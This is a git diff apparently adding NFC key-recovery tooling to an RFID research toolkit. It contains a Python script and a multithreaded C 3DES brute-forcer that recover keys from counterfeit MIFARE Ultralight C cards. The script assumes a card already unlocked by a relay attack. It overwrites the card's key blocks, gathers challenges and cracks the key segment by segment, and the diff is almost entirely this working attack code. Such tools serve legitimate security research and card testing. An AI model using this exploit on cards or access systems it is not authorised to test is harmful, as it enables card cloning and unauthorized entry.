diff --git a/Makefile b/Makefile index 6ad742344..3a92341a2 100644 --- a/Makefile +++ b/Makefile @@ -29,7 +29,7 @@ ifneq (,$(DESTDIR)) endif endif -all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfc_card_only/% mfc_card_reader/% mfd_aes_brute/% fpga_compress/% cryptorf/% +all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfc_card_only/% mfc_card_reader/% mfd_aes_brute/% mfulc_des_brute/% fpga_compress/% cryptorf/% # hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack" #all clean install uninstall check: %: hitag2crack/% clean: %: hitag2crack/% @@ -157,6 +157,9 @@ mfc_card_only/%: FORCE mfc_card_reader/%: FORCE $(info [*] MAKE $@) $(Q)$(MAKE) --no-print-directory -C tools/mfc/card_reader $(patsubst mfc_card_reader/%,%,$@) DESTDIR=$(MYDESTDIR) +mfulc_des_brute/%: FORCE + $(info [*] MAKE $@) + $(Q)$(MAKE) --no-print-directory -C tools/mfulc_des_brute $(patsubst mfulc_des_brute/%,%,$@) DESTDIR=$(MYDESTDIR) mfd_aes_brute/%: FORCE $(info [*] MAKE $@) $(Q)$(MAKE) --no-print-directory -C tools/mfd_aes_brute $(patsubst mfd_aes_brute/%,%,$@) DESTDIR=$(MYDESTDIR) @@ -182,7 +185,7 @@ hitag2crack/%: FORCE $(Q)$(MAKE) --no-print-directory -C tools/hitag2crack $(patsubst hitag2crack/%,%,$@) DESTDIR=$(MYDESTDIR) FORCE: # Dummy target to force remake in the subdirectories, even if files exist (this Makefile doesn't know about the prerequisites) -.PHONY: all clean install uninstall help _test bootrom fullimage recovery client mfc_card_only mfc_card_reader mfd_aes_brute hitag2crack style miscchecks release FORCE udev accessrights cleanifplatformchanged +.PHONY: all clean install uninstall help _test bootrom fullimage recovery client mfc_card_only mfc_card_reader mfulc_des_brute mfd_aes_brute hitag2crack style miscchecks release FORCE udev accessrights cleanifplatformchanged help: @echo "Multi-OS Makefile" @@ -202,6 +205,7 @@ help: @echo "+ cryptorf - Make tools/cryptorf" @echo "+ mfc_card_only - Make tools/mfc/card_only" @echo "+ mfc_card_reader - Make tools/mfc/card_reader" + @echo "+ mfulc_des_brute - Make tools/mfulc_des_brute" @echo "+ mfd_aes_brute - Make tools/mfd_aes_brute" @echo "+ hitag2crack - Make tools/hitag2crack" @echo "+ fpga_compress - Make tools/fpga_compress" @@ -246,6 +250,8 @@ mfc_card_only: mfc_card_only/all mfc_card_reader: mfc_card_reader/all +mfulc_des_brute: mfulc_des_brute/all + mfd_aes_brute: mfd_aes_brute/all fpga_compress: fpga_compress/all diff --git a/client/pyscripts/mfulc_counterfeit_recovery.py b/client/pyscripts/mfulc_counterfeit_recovery.py new file mode 100755 index 000000000..5dfac475e --- /dev/null +++ b/client/pyscripts/mfulc_counterfeit_recovery.py @@ -0,0 +1,505 @@ +#!/usr/bin/env python3 + +# Key recovery for Giantec ULCG and USCUID-UL cards (won't work on NXP cards!) +# +# Conditions: +# * AUTH0 allowing unauthenticated writes to key blocks, e.g. by completing a relay attack in UNLOCK mode +# +# noproto & doegox, 2025 +# cf "BREAKMEIFYOUCAN!: Exploiting Keyspace Reduction and Relay Attacks in 3DES and AES-protected NFC Technologies" +# for more info + +import subprocess +import argparse +import random +import sys +import threading +import time +import queue +import json +import signal +import traceback +import math +from queue import Queue +from typing import Optional, Set +from pm3_resources import find_tool + + +required_version = (3, 8) +if sys.version_info < required_version: + print(f"Python version: {sys.version}") + print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") + exit() + +tools = { + "mfulc_des_brute": find_tool("mfulc_des_brute"), +} + + +class CrackEffect: + """ + A class to create a visual effect of cracking blocks of data. + + Attributes: + num_blocks (int): Number of blocks to display. + block_size (int): Size of each block in characters. + scramble_delay (float): Delay between each scramble update in seconds. + message_queue (Queue): Queue to handle cracked blocks. + revealed (list): List to store the current state of each block. + stop_event (threading.Event): Event to signal stopping of threads. + cracked_blocks (Set[int]): Set of indices of cracked blocks. + display_lock (threading.Lock): Lock to synchronize display updates. + + Methods: + generate_random_hex() -> str: + Generate a random hex string of block_size length. + + format_block(block: str, is_cracked: bool) -> str: + Format a block with appropriate color based on its state. + + draw_static_box(): + Draw the initial static box. + + print_above(data): + Print the given data above the box and redraw the box. + + display_current_state(): + Display the current state of all blocks. + + scramble_effect(): + Run the main loop for the scrambling effect. + + process_message_queue(): + Process incoming cracked blocks from the queue. + + add_cracked_block(block_idx: int, text: str): + Add a cracked block to the message queue. + + start(): + Start the cracking effect. + """ + + def __init__(self, num_blocks: int = 4, block_size: int = 8, scramble_delay: float = 0.01): + """ + Initialize the CrackEffect class with the given parameters. + + Args: + num_blocks (int): Number of blocks to display. Default is 4. + block_size (int): Size of each block in characters. Default is 8. + scramble_delay (float): Delay between each scramble update in seconds. Default is 0.01. + """ + self.num_blocks = num_blocks + self.block_size = block_size + self.scramble_delay = scramble_delay + self.message_queue: Queue = Queue() + self.revealed = [''] * num_blocks + self.stop_event = threading.Event() + self.cracked_blocks: Set[int] = set() + self.display_lock = threading.Lock() + self.output_enabled = True + + def generate_random_hex(self) -> str: + """Generate a random hex string of block_size length.""" + hex_chars = '0123456789ABCDEF' + return ''.join(random.choice(hex_chars) for _ in range(self.block_size)) + + def format_block(self, block: str, is_cracked: bool) -> str: + """Format a block with appropriate color based on its state.""" + if is_cracked: + return f"\033[1;34m{block}\033[0m" # Bold blue + return f"\033[96m{block}\033[0m" # Bright cyan + + def draw_static_box(self): + """Draw the initial static box.""" + if not self.output_enabled: + return + width = (self.block_size + 1) * self.num_blocks + 4 + print("") # Add some padding above + print("╔" + "═" * width + "╗") + print("║" + " " * width + "║") + print("║" + " " * width + "║") + print("║" + " " * width + "║") + print("╚" + "═" * width + "╝") + # Move cursor to the middle line + sys.stdout.write("\033[3A") # Move up 3 lines to middle row + sys.stdout.flush() + + def print_above(self, data): + """Print the given data above the box and redraws the box.""" + if not self.output_enabled: + print(data) + return + with self.display_lock: + # Move cursor above the box and clean the line + sys.stdout.write("\033[2A\033[1G\033[K" + data) + self.draw_static_box() + + def display_current_state(self): + """Display the current state of all blocks.""" + if not self.output_enabled: + return + with self.display_lock: + formatted_blocks = [ + self.format_block(block, i in self.cracked_blocks) + for i, block in enumerate(self.revealed) + ] + display_text = ' '.join(formatted_blocks) + + # Update only the middle line + sys.stdout.write(f"\r║ {display_text} ║") + sys.stdout.flush() + + def scramble_effect(self): + """Run the main loop for the scrambling effect.""" + if not self.output_enabled: + return + while not self.stop_event.is_set(): + # Update all non-cracked blocks with random values + for block in range(self.num_blocks): + if block not in self.cracked_blocks: + self.revealed[block] = self.generate_random_hex() + + self.display_current_state() + time.sleep(self.scramble_delay) + + def erase_key(self): + """Erase random parts of the key.""" + if not self.output_enabled: + return + for block in range(self.num_blocks): + if block not in self.cracked_blocks: + self.revealed[block] = '.' * self.block_size + self.display_current_state() + + def process_message_queue(self): + """Process incoming cracked blocks from the queue.""" + if not self.output_enabled: + return + while not self.stop_event.is_set(): + try: + block_idx, cracked_text = self.message_queue.get(timeout=0.1) + self.revealed[block_idx] = cracked_text + self.cracked_blocks.add(block_idx) + self.display_current_state() + + # Check if all blocks are cracked + if len(self.cracked_blocks) == self.num_blocks: + self.stop_event.set() + print("\n" * 3) # Add newlines after completion + break + except queue.Empty: + continue + except Exception as e: + print(f"\nError processing message: {e}") + break + + def add_cracked_block(self, block_idx: int, text: str): + """Add a cracked block to the message queue.""" + if not 0 <= block_idx < self.num_blocks: + raise ValueError(f"Block index {block_idx} out of range") + if len(text) != self.block_size: + raise ValueError(f"Block text must be {self.block_size} characters") + self.message_queue.put((block_idx, text)) + + def start(self): + """Start the cracking effect.""" + self.draw_static_box() + + # Create and start the worker threads + scramble_thread = threading.Thread(target=self.scramble_effect) + process_thread = threading.Thread(target=self.process_message_queue) + + scramble_thread.daemon = True + process_thread.daemon = True + + scramble_thread.start() + process_thread.start() + + # Wait for both threads to complete + process_thread.join() + self.stop_event.set() + scramble_thread.join() + + +def collect(num_challenges: int, p, debug: bool) -> Optional[dict]: + """ + Collect challenges from the card and check if it is vulnerable. + + Args: + num_challenges (int): Number of challenges to collect. + p: Proxmark3 instance. + debug (bool): Enable debug mode. + + Returns: + Optional[dict]: Collected challenges data or None if the card is not vulnerable. + """ + # Sanity check: make sure an Ultralight C is on the Proxmark + p.console("hf 14a info") + if "MIFARE Ultralight C" not in p.grabbed_output: + print("[-] Error: \033[1;31mUltralight C not placed on Proxmark\033[0m") + return + else: + print("[+] Ultralight C detected. Keep stable on Proxmark during the attack.") + + # Sanity check: ensure card is unlocked and lock bytes do not prevent key overwrite + p.console("hf 14a raw -sc 3028") + hex_bytes = p.grabbed_output.split() + if len(hex_bytes) < 16: + print("[-] Error: \033[1;31mCard not unlocked. Run relay attack in UNLOCK mode first.\033[0m") + return + data_bytes = [bytes.fromhex(b) for b in hex_bytes[1:17]] + # Byte 0 of page 42: 0x30 minimum + minimum_auth_page = ord(data_bytes[8]) + if minimum_auth_page < 48: + print("[-] Error: \033[1;31mCard not unlocked. Run relay attack in UNLOCK mode first.\033[0m") + return + # First bit of byte 1 in page 40: lock key + is_locked_key = ((ord(data_bytes[1]) & 0x80) >> 7) == 1 + if is_locked_key: + print("[-] Error: \033[1;31mCard is not vulnerable (see READ mode in relay app)\033[0m") + return + + print("[+] All sanity checks \033[1;32mpassed\033[0m. Checking if card is vulnerable.\033[?25l") + + # Collect challenges (100) + challenges_collected = 0 + challenges_100 = set() + challenges = {} + collision = False + + while challenges_collected < num_challenges: + p.console("hf 14a raw -sc 1A00") + challenge = p.grabbed_output.split() + if (len(challenge) > 8) and (challenge[1] == "AF"): + hex_challenge = "".join(challenge[2:10]) + if hex_challenge in challenges_100: + collision = True + challenges["challenge_100"] = hex_challenge + break + else: + challenges_100.add(hex_challenge) + challenges_collected += 1 + + print("\n[+] 100 collection complete") + print(f"\r[+] Challenges collected: \033[96m{challenges_collected}\033[0m") + if collision: + print("[+] Status: \033[1;31mVulnerable\033[0m\033[?25h") + else: + experimental_chals_subset_size = 600 + probability_no_collision = 1.0 + for i in range(challenges_collected): + probability_no_collision *= (experimental_chals_subset_size - i) / experimental_chals_subset_size + precision = max(1, -int(math.floor(math.log10(probability_no_collision))) + 1) + print("[+] Status: \033[1;32mNot vulnerable\033[0m" + f" (false negative probability: {probability_no_collision*100:.{precision-1}f}%)\033[?25h") + return + + # The card is vulnerable, proceed with attack + # Danger zone. To reset a test card, run: hf mfu setkey -k 49454D4B41455242214E4143554F5946 + + # Overwrite block 47 + p.console("hf mfu wrbl -b 47 -d 00000000", capture=False, quiet=False) + + # Collect challenges (75) + p.console("hf 14a raw -sc 1A00") + challenge = p.grabbed_output.split() + if (len(challenge) > 8) and (challenge[1] == "AF"): + hex_challenge = "".join(challenge[2:10]) + challenges["challenge_75"] = hex_challenge + print("\n[+] 75 collection complete") + + # Overwrite block 46 + p.console("hf mfu wrbl -b 46 -d 00000000", capture=False, quiet=False) + + # Collect challenges (50) + p.console("hf 14a raw -sc 1A00") + challenge = p.grabbed_output.split() + if (len(challenge) > 8) and (challenge[1] == "AF"): + hex_challenge = "".join(challenge[2:10]) + challenges["challenge_50"] = hex_challenge + print("\n[+] 50 collection complete") + + # Overwrite block 45 + p.console("hf mfu wrbl -b 45 -d 00000000", capture=False, quiet=False) + + # Collect challenges (25) + p.console("hf 14a raw -sc 1A00") + challenge = p.grabbed_output.split() + if (len(challenge) > 8) and (challenge[1] == "AF"): + hex_challenge = "".join(challenge[2:10]) + challenges["challenge_25"] = hex_challenge + print("\n[+] 25 collection complete") + + # Overwrite block 44 + p.console("hf mfu wrbl -b 44 -d 00000000", capture=False, quiet=False) + + # Collect challenges (0) + p.console("hf 14a raw -sc 1A00") + challenge = p.grabbed_output.split() + if (len(challenge) > 8) and (challenge[1] == "AF"): + hex_challenge = "".join(challenge[2:10]) + challenges["challenge_0"] = hex_challenge + print("\n[+] 0 collection complete") + + return challenges + + +def main(): + """ + Key recovery for Giantec ULCG and USCUID-UL cards (won't work on NXP cards!) + + This script collects the necessary challenges either from a Proxmark3 device or from a file, and attempts + to crack the ULCG/USCUID-UL keys using the collected challenges, with the help of the mfulc_des_brute tool. + + Conditions: + * AUTH0 must allow unauthenticated writes to key blocks, + e.g. by completing a relay attack in UNLOCK mode + + Attention points: + * If the brute-force is interrupted before completion, the card key will be left erased! + * If saving challenges to a file for offline processing, the card key will also be erased, + but you will be able to restore it once found. + * The found key is not *exactly* the original key, because parity bits are lost, but authentication will work. + + Examples: + + - Collect 1000 challenges and use 4 threads for cracking: + $ pm3 -y 'mfulc_counterfeit_recovery -t 4' + or, from the client: + pm3 --> script run mfulc_counterfeit_recovery -t 4 + + - Collect 1000 challenges and save them in a file for later offline processing: + $ pm3 -y 'mfulc_counterfeit_recovery -j challenges.json' + or, from the client: + pm3 --> script run mfulc_counterfeit_recovery -j challenges.json + + - Recover key from previously collected challenges (doesn't require the Proxmark3 client): + $ python3 mfulc_counterfeit_recovery.py -j challenges.json -o -t 4 + or, nevertheless from the client: + pm3 --> script run mfulc_counterfeit_recovery -j challenges.json -o -t 4 + """ + parser = argparse.ArgumentParser( + description=main.__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter + ) + parser.add_argument('-c', '--challenges', help='Set number of challenges to collect (default:1000)', type=int, default=1000) + parser.add_argument('-t', '--threads', help='Set number of threads to use for key recovery (default:1)', type=int, default=1) + parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode') + parser.add_argument('-j', '--json', help='Path to JSON file to load or save collected challenges') + parser.add_argument('-o', '--offline', action='store_true', help='Use offline mode with pre-collected challenges') + args = parser.parse_args() + debug = args.debug + num_challenges = args.challenges + offline = args.offline + + if not offline: + import pm3 + p = pm3.pm3() + challenges = collect(num_challenges, p, debug) + if challenges is None: + return + if args.json: + with open(args.json, "w") as f: + json.dump(challenges, f) + print(f"[+] Challenges saved to {args.json}.") + print("[!] Beware that the card key is now erased!") + return + else: + with open(args.json, "r") as f: + challenges = json.load(f) + + print("[+] Cracking in progress...\033[?25l") + + # Create and start the cracking effect + crack_effect = CrackEffect() + # crack_effect.output_enabled = False + effect_thread = threading.Thread(target=crack_effect.start) + effect_thread.start() + + def signal_handler(sig, frame): + print("\n\n\n[!] Interrupt received, stopping...") + crack_effect.stop_event.set() + sys.exit(0) + + signal.signal(signal.SIGINT, signal_handler) + + key_segment_values = {0: "00"*4, 1: "00"*4, 2: "00"*4, 3: "00"*4} + key_found = False + + try: + ciphertexts = {1: challenges["challenge_25"], + 0: challenges["challenge_50"], + 3: challenges["challenge_75"], + 2: challenges["challenge_100"]} + for key_segment_idx in [1, 0, 3, 2]: + ciphertext = ciphertexts[key_segment_idx] + cmd = [tools["mfulc_des_brute"], + "-c", + f"{challenges['challenge_0']}", + f"{ciphertext}", + "".join(key_segment_values.values()), + str(key_segment_idx+1), + str(args.threads)] + if debug: + crack_effect.print_above("[=] CMD:" + ' '.join(cmd)) + start_time = time.time() + result = subprocess.run(cmd, capture_output=True, text=True) + end_time = time.time() + elapsed_time = end_time - start_time + if debug: + crack_effect.print_above(f"[=] Tested {ciphertext} in {elapsed_time:.2f}s") + if "Could not detect LFSR" in result.stderr: + key_found = False + crack_effect.stop_event.set() + crack_effect.erase_key() + print(f"\n\n\n[-] Error: {result.stderr}") + break + if "LFSR detection" in result.stdout: + if debug: + for line in result.stdout.split('\n'): + if "LFSR detection" in line: + crack_effect.print_above(f"[+] {line}") + if "No matching key was found" in result.stdout: + key_found = False + crack_effect.stop_event.set() + crack_effect.erase_key() + print(f"\n\n\n[-] Error: {result.stdout}") + break + if "Full key (hex): " not in result.stdout: + key_found = False + crack_effect.stop_event.set() + crack_effect.erase_key() + print(f"\n\n\n[-] Error: {result}") + break + key_segment_values[key_segment_idx] = result.stdout.split("Full key (hex): ")[1][(8*key_segment_idx):][:8] + if debug: + crack_effect.print_above(f"[+] Found key segment: {key_segment_values[key_segment_idx]}") + key_found = True + crack_effect.add_cracked_block(key_segment_idx, key_segment_values[key_segment_idx]) + continue + except Exception as e: + crack_effect.stop_event.set() + print(f"\n\n\nAn error occurred: {e}") + if debug: + traceback.print_exc() + finally: + effect_thread.join() + + if key_found: + result_key = "".join(key_segment_values.values()) + formatted_key = f"\033[1;34m{result_key}\033[0m" + print(f"[+] Found key: {formatted_key}\033[?25h") + if offline: + print("You can restore found key on the card with: " + f"hf mfu setkey --key {result_key}") + else: + # Restore the key on the card + # This is not the original key, because parity bits are lost (65536 possible keys), but auth will work + p.console(f"hf mfu setkey --key {result_key}", capture=False, quiet=True) + print("\nKey now restored on the card") + + return + + +if __name__ == '__main__': + main() diff --git a/tools/mfulc_des_brute/Makefile b/tools/mfulc_des_brute/Makefile new file mode 100644 index 000000000..d51feff45 --- /dev/null +++ b/tools/mfulc_des_brute/Makefile @@ -0,0 +1,27 @@ +MYCFLAGS = -D_GNU_SOURCE -O3 -Wno-deprecated-declarations +MYLDLIBS = -lcrypto -lpthread + +BINS = mfulc_des_brute +INSTALLTOOLS = $(BINS) + +include ../../Makefile.host + +# checking platform can be done only after Makefile.host +ifneq (,$(findstring MINGW,$(platform))) + # Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z) + # and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1 + MYCFLAGS += -D_ISOC99_SOURCE +endif + +# OS X needs linking to openssl +ifeq ($(USE_BREW),1) + MYCFLAGS += -I$(BREW_PREFIX)/opt/openssl@3/include -I$(BREW_PREFIX)/opt/openssl@3.5/include + MYLDFLAGS += -L$(BREW_PREFIX)/opt/openssl@3/lib -L$(BREW_PREFIX)/opt/openssl@3.5/lib +endif + +ifeq ($(USE_MACPORTS),1) + MYCFLAGS += -I$(MACPORTS_PREFIX)/include/openssl-3 -I$(MACPORTS_PREFIX)/include/openssl-1.1 + MYLDFLAGS += -L$(MACPORTS_PREFIX)/lib/openssl-3 -L$(MACPORTS_PREFIX)/lib/openssl-1.1 +endif + +mfulc_des_brute : $(OBJDIR)/mfulc_des_brute.o $(MYOBJS) diff --git a/tools/mfulc_des_brute/mfulc_des_brute.c b/tools/mfulc_des_brute/mfulc_des_brute.c new file mode 100644 index 000000000..7d7b3076f --- /dev/null +++ b/tools/mfulc_des_brute/mfulc_des_brute.c @@ -0,0 +1,368 @@ +// noproto & doegox, 2025 +// cf "BREAKMEIFYOUCAN!: Exploiting Keyspace Reduction and Relay Attacks in 3DES and AES-protected NFC Technologies" +// for more info + +#include +#include +#include +#include +#include +#include +#include + +#define BLOCK_SIZE 8 // DES (and 3DES) block size in bytes +#define KEY_SIZE 16 // Full 2TDEA key size (K1 || K2) +#define BENCHMARK_FULL_KEYSPACE 0 + +// Global flag to signal that a key has been found. +volatile int key_found = 0; + +typedef enum { + LFSR_UNDEF = 0, + LFSR_ULCG = 1, + LFSR_USCUIDUL = 2 +} lfsr_t; + +typedef struct { + uint32_t start; // starting candidate (inclusive) + uint32_t end; // ending candidate (exclusive) + int key_mode; // 0 to 3 (i.e. brute force segment 1-4 as 0-indexed) + unsigned char init_ciphertext[BLOCK_SIZE]; + unsigned char prev_ciphertext[BLOCK_SIZE]; // "IV" of ciphertext for CBC mode in reader mode + unsigned char ciphertext[BLOCK_SIZE]; + unsigned char base_key[KEY_SIZE]; // the 3DES base key provided by the user + int thread_id; + lfsr_t lfsr_type; + bool is_reader_mode; // true for -r mode, false for -c mode +} thread_args_t; + +// Converts a hex string to bytes. The hex string must be exactly 2*len hex digits long. +static int hex_to_bytes(const char *hex, unsigned char *buf, size_t len) { + if (strlen(hex) != len * 2) + return 0; + for (size_t i = 0; i < len; i++) { + unsigned int byte; + if (sscanf(hex + 2 * i, "%2x", &byte) != 1) + return 0; + buf[i] = (unsigned char) byte; + } + return 1; +} + +// Print a byte array as hex. +static void print_hex(const unsigned char *buf, size_t len) { + for (size_t i = 0; i < len; i++) + printf("%02X", buf[i]); + printf("\n"); +} + +static bool valid_lfsr_ulcg(uint64_t x64) { + x64 = __builtin_bswap64(x64); + uint16_t x16 = x64 >> 48; + x16 = x16 << 15 | ((x16 >> 1) ^ ((x16 >> 3 ^ x16 >> 4 ^ x16 >> 6) & 1)); + if (x16 != ((x64 >> 32) & 0xFFFF)) return false; + x16 = x16 << 15 | ((x16 >> 1) ^ ((x16 >> 3 ^ x16 >> 4 ^ x16 >> 6) & 1)); + if (x16 != ((x64 >> 16) & 0xFFFF)) return false; + x16 = x16 << 15 | ((x16 >> 1) ^ ((x16 >> 3 ^ x16 >> 4 ^ x16 >> 6) & 1)); + if (x16 != (x64 & 0xFFFF)) return false; + return true; +} + +static bool valid_lfsr_uscuidul(uint64_t x64) { + x64 = __builtin_bswap64(x64); + uint16_t x16 = x64 & 0xFFFF; + for (int i = 0; i < 16; i++) x16 = x16 >> 1 | (x16 ^ x16 >> 2 ^ x16 >> 3 ^ x16 >> 5) << 15; + if (x16 != ((x64 >> 16) & 0xFFFF)) return false; + for (int i = 0; i < 16; i++) x16 = x16 >> 1 | (x16 ^ x16 >> 2 ^ x16 >> 3 ^ x16 >> 5) << 15; + if (x16 != ((x64 >> 32) & 0xFFFF)) return false; + for (int i = 0; i < 16; i++) x16 = x16 >> 1 | (x16 ^ x16 >> 2 ^ x16 >> 3 ^ x16 >> 5) << 15; + if (x16 != ((x64 >> 48) & 0xFFFF)) return false; + return true; +} + + +static bool valid_lfsr(uint64_t x64, lfsr_t lfsr_type) { + switch (lfsr_type) { + case LFSR_ULCG: + return valid_lfsr_ulcg(x64); + case LFSR_USCUIDUL: + return valid_lfsr_uscuidul(x64); + case LFSR_UNDEF: + default: + return false; + } +} + +static lfsr_t detect_lfsr_type(unsigned char *init_ciphertext) { + DES_cblock fixed_key = {0}; + DES_key_schedule fixed_schedule; + DES_set_key_unchecked(&fixed_key, &fixed_schedule); + uint64_t out; + DES_ecb_encrypt((DES_cblock *)init_ciphertext, (DES_cblock *)&out, &fixed_schedule, DES_DECRYPT); + if (valid_lfsr_ulcg(out)) { + return LFSR_ULCG; + } else if (valid_lfsr_uscuidul(out)) { + return LFSR_USCUIDUL; + } + return LFSR_UNDEF; +} + +// Worker thread function using low-level DES functions. +static void *worker(void *arg) { + thread_args_t *targs = (thread_args_t *) arg; + uint32_t start = targs->start; + uint32_t end = targs->end; + int key_mode = targs->key_mode; + + // Determine which half is being brute forced. + // For key_mode 0 or 1 the candidate is in K1; for key_mode 2 or 3 the candidate is in K2. + int candidate_in_K1 = (key_mode < 2) ? 1 : 0; + + // Determine the 4-byte offset within the variable half: + // For K1, key_mode 0 means segment1 (offset 0), key_mode 1 means segment2 (offset 4). + // For K2, key_mode 2 means segment3 (offset 0), key_mode 3 means segment4 (offset 4). + int var_offset = candidate_in_K1 ? ((key_mode % 2) * 4) : (((key_mode - 2) % 2) * 4); + + // Precompute the fixed half's DES key schedule. + DES_cblock fixed_key; + if (candidate_in_K1) { + // Fixed half is K2: bytes 8..15 of base_key. + memcpy(fixed_key, targs->base_key + 8, 8); + } else { + // Candidate in K2; fixed half is K1: bytes 0..7 of base_key. + memcpy(fixed_key, targs->base_key, 8); + } + DES_key_schedule fixed_schedule; + DES_set_key_unchecked(&fixed_key, &fixed_schedule); + uint64_t out; + uint64_t init_out; + + // For the candidate half, start with the corresponding half from the base key. + unsigned char base_half[8]; + if (candidate_in_K1) + memcpy(base_half, targs->base_key, 8); + else + memcpy(base_half, targs->base_key + 8, 8); + + // Loop over the candidate key indices in this thread's range. + for (uint32_t idx = start; idx < end; idx++) { + if (key_found && !BENCHMARK_FULL_KEYSPACE) + break; // Some other thread already found the key. + // Convert the candidate index (28 bits) into 4 bytes. + // Each candidate byte is constructed from a 7-bit chunk shifted left by 1 so that the LSB is zero. + uint8_t b0 = ((idx) & 0x7F) << 1; + uint8_t b1 = ((idx >> 7) & 0x7F) << 1; + uint8_t b2 = ((idx >> 14) & 0x7F) << 1; + uint8_t b3 = ((idx >> 21) & 0x7F) << 1; + // Build the candidate half key by starting with the fixed base half and substituting candidate bytes. + DES_cblock candidate_half; + memcpy(candidate_half, base_half, 8); + candidate_half[var_offset ] = b0; + candidate_half[var_offset + 1] = b1; + candidate_half[var_offset + 2] = b2; + candidate_half[var_offset + 3] = b3; + + // Compute the candidate half's DES key schedule. + DES_key_schedule candidate_schedule; + DES_set_key_unchecked(&candidate_half, &candidate_schedule); + + // Perform 2-key triple DES decryption on the ciphertext. + // If candidate is in K1: decryption = DES_ecb3_encrypt(cipher, out, candidate, fixed, candidate, DES_DECRYPT) + // If candidate is in K2: decryption = DES_ecb3_encrypt(cipher, out, fixed, candidate, fixed, DES_DECRYPT) + if (candidate_in_K1) { + DES_ecb3_encrypt((DES_cblock *)targs->ciphertext, (DES_cblock *)&out, + &candidate_schedule, &fixed_schedule, &candidate_schedule, DES_DECRYPT); + } else { + DES_ecb3_encrypt((DES_cblock *)targs->ciphertext, (DES_cblock *)&out, + &fixed_schedule, &candidate_schedule, &fixed_schedule, DES_DECRYPT); + } + + bool match = false; + if (targs->is_reader_mode) { + // In reader mode, also decrypt init_ciphertext and check for rotation relationship + // Apply XOR block to the second decrypted block (for CBC mode) + if (candidate_in_K1) { + DES_ecb3_encrypt((DES_cblock *)targs->init_ciphertext, (DES_cblock *)&init_out, + &candidate_schedule, &fixed_schedule, &candidate_schedule, DES_DECRYPT); + } else { + DES_ecb3_encrypt((DES_cblock *)targs->init_ciphertext, (DES_cblock *)&init_out, + &fixed_schedule, &candidate_schedule, &fixed_schedule, DES_DECRYPT); + } + // Apply XOR block to the second decrypted block (for CBC mode) + out ^= *(uint64_t *)targs->prev_ciphertext; + + // Check if out is 8-bit (1-byte) left rotated version of init_out + // Need to convert to big-endian for byte rotation, then back to little-endian + uint64_t init_be = __builtin_bswap64(init_out); + uint64_t rotated_be = (init_be << 8) | (init_be >> 56); + uint64_t rotated = __builtin_bswap64(rotated_be); + match = (out == rotated); + } else { + // In counterfeit mode, check the resulting plaintext against LFSR + match = valid_lfsr(out, targs->lfsr_type); + } + + if (match) { + key_found = 1; // signal to other threads + + // Build the full 16-byte key: start with the base key and substitute the candidate 4 bytes. + unsigned char full_key[KEY_SIZE]; + memcpy(full_key, targs->base_key, KEY_SIZE); + int seg_offset = key_mode * 4; // key_mode: 0->bytes0, 1->bytes4, 2->bytes8, 3->bytes12. + full_key[seg_offset] = b0; + full_key[seg_offset + 1] = b1; + full_key[seg_offset + 2] = b2; + full_key[seg_offset + 3] = b3; + printf("Thread %d: Found key index: %u\n", targs->thread_id, idx); + printf("Full key (hex): "); + print_hex(full_key, KEY_SIZE); + if (!BENCHMARK_FULL_KEYSPACE) + break; + } + } + return NULL; +} + +static void print_help_and_exit(const char *cmd_name) { + fprintf(stderr, + "Usage:\n" + " * Counterfeit key recovery:\n" + " %s -c <3DES base key hex (32 hex digits)> \n" + " * Reader nonce key recovery:\n" + " %s -r <3DES base key hex (32 hex digits)> \n", + cmd_name, + cmd_name); + exit(1); +} + +int main(int argc, char **argv) { + // Check for -c or -r flag first to determine expected argument count + if (argc < 2) { + print_help_and_exit(argv[0]); + } + bool is_reader_mode = false; + if (strcmp(argv[1], "-c") == 0) { + is_reader_mode = false; + if (argc != 7) { + fprintf(stderr, "Error: -c mode requires exactly 6 arguments\n"); + print_help_and_exit(argv[0]); + } + } else if (strcmp(argv[1], "-r") == 0) { + is_reader_mode = true; + if (argc != 7) { + fprintf(stderr, "Error: -r mode requires exactly 6 arguments\n"); + print_help_and_exit(argv[0]); + } + } else { + fprintf(stderr, "Error: first argument must be -c or -r\n"); + print_help_and_exit(argv[0]); + } + + unsigned char init_ciphertext[BLOCK_SIZE]; + unsigned char tmp_blocks[2 * BLOCK_SIZE]; + unsigned char ciphertext[BLOCK_SIZE]; + unsigned char base_key[KEY_SIZE]; + + if (is_reader_mode) { + // In reader mode, the first ciphertext is ERndB and the second is ERndA|ERndB' + if (!hex_to_bytes(argv[2], init_ciphertext, BLOCK_SIZE)) { + fprintf(stderr, "Error: invalid ERndB hex string.\n"); + return 1; + } + if (!hex_to_bytes(argv[3], tmp_blocks, 2 * BLOCK_SIZE)) { + fprintf(stderr, "Error: invalid ERndARndB' hex string.\n"); + return 1; + } + } else { + // In counterfeit mode, both ciphertexts are just ciphertext blocks + if (!hex_to_bytes(argv[2], init_ciphertext, BLOCK_SIZE)) { + fprintf(stderr, "Error: invalid null key ERndB hex string.\n"); + return 1; + } + if (!hex_to_bytes(argv[3], ciphertext, BLOCK_SIZE)) { + fprintf(stderr, "Error: invalid target key ERndB hex string.\n"); + return 1; + } + } + if (!hex_to_bytes(argv[4], base_key, KEY_SIZE)) { + fprintf(stderr, "Error: invalid 3DES base key hex string.\n"); + return 1; + } + + int seg = atoi(argv[5]); + if (seg < 1 || seg > 4) { + fprintf(stderr, "Error: key segment must be between 1 and 4.\n"); + return 1; + } + int num_threads = atoi(argv[6]); + if (num_threads < 1) { + fprintf(stderr, "Error: number of threads must be at least 1.\n"); + return 1; + } + + lfsr_t lfsr_type = LFSR_UNDEF; + if (!is_reader_mode) { + // Only detect LFSR type in counterfeit mode + lfsr_type = detect_lfsr_type(init_ciphertext); + switch (lfsr_type) { + case LFSR_ULCG: + printf("LFSR detection: ULCG\n"); + break; + case LFSR_USCUIDUL: + printf("LFSR detection: ULC_USCUIDUL\n"); + break; + case LFSR_UNDEF: + default: + fprintf(stderr, "LFSR detection: Could not detect LFSR!!\n"); + return 1; + } + } + + // key_mode is zero-indexed (0,1,2,3) + int key_mode = seg - 1; + + // Total candidate space: 2^28 keys. + uint32_t total = (1UL << 28); + uint32_t chunk = total / num_threads; + uint32_t remainder = total % num_threads; + + pthread_t *threads = malloc(num_threads * 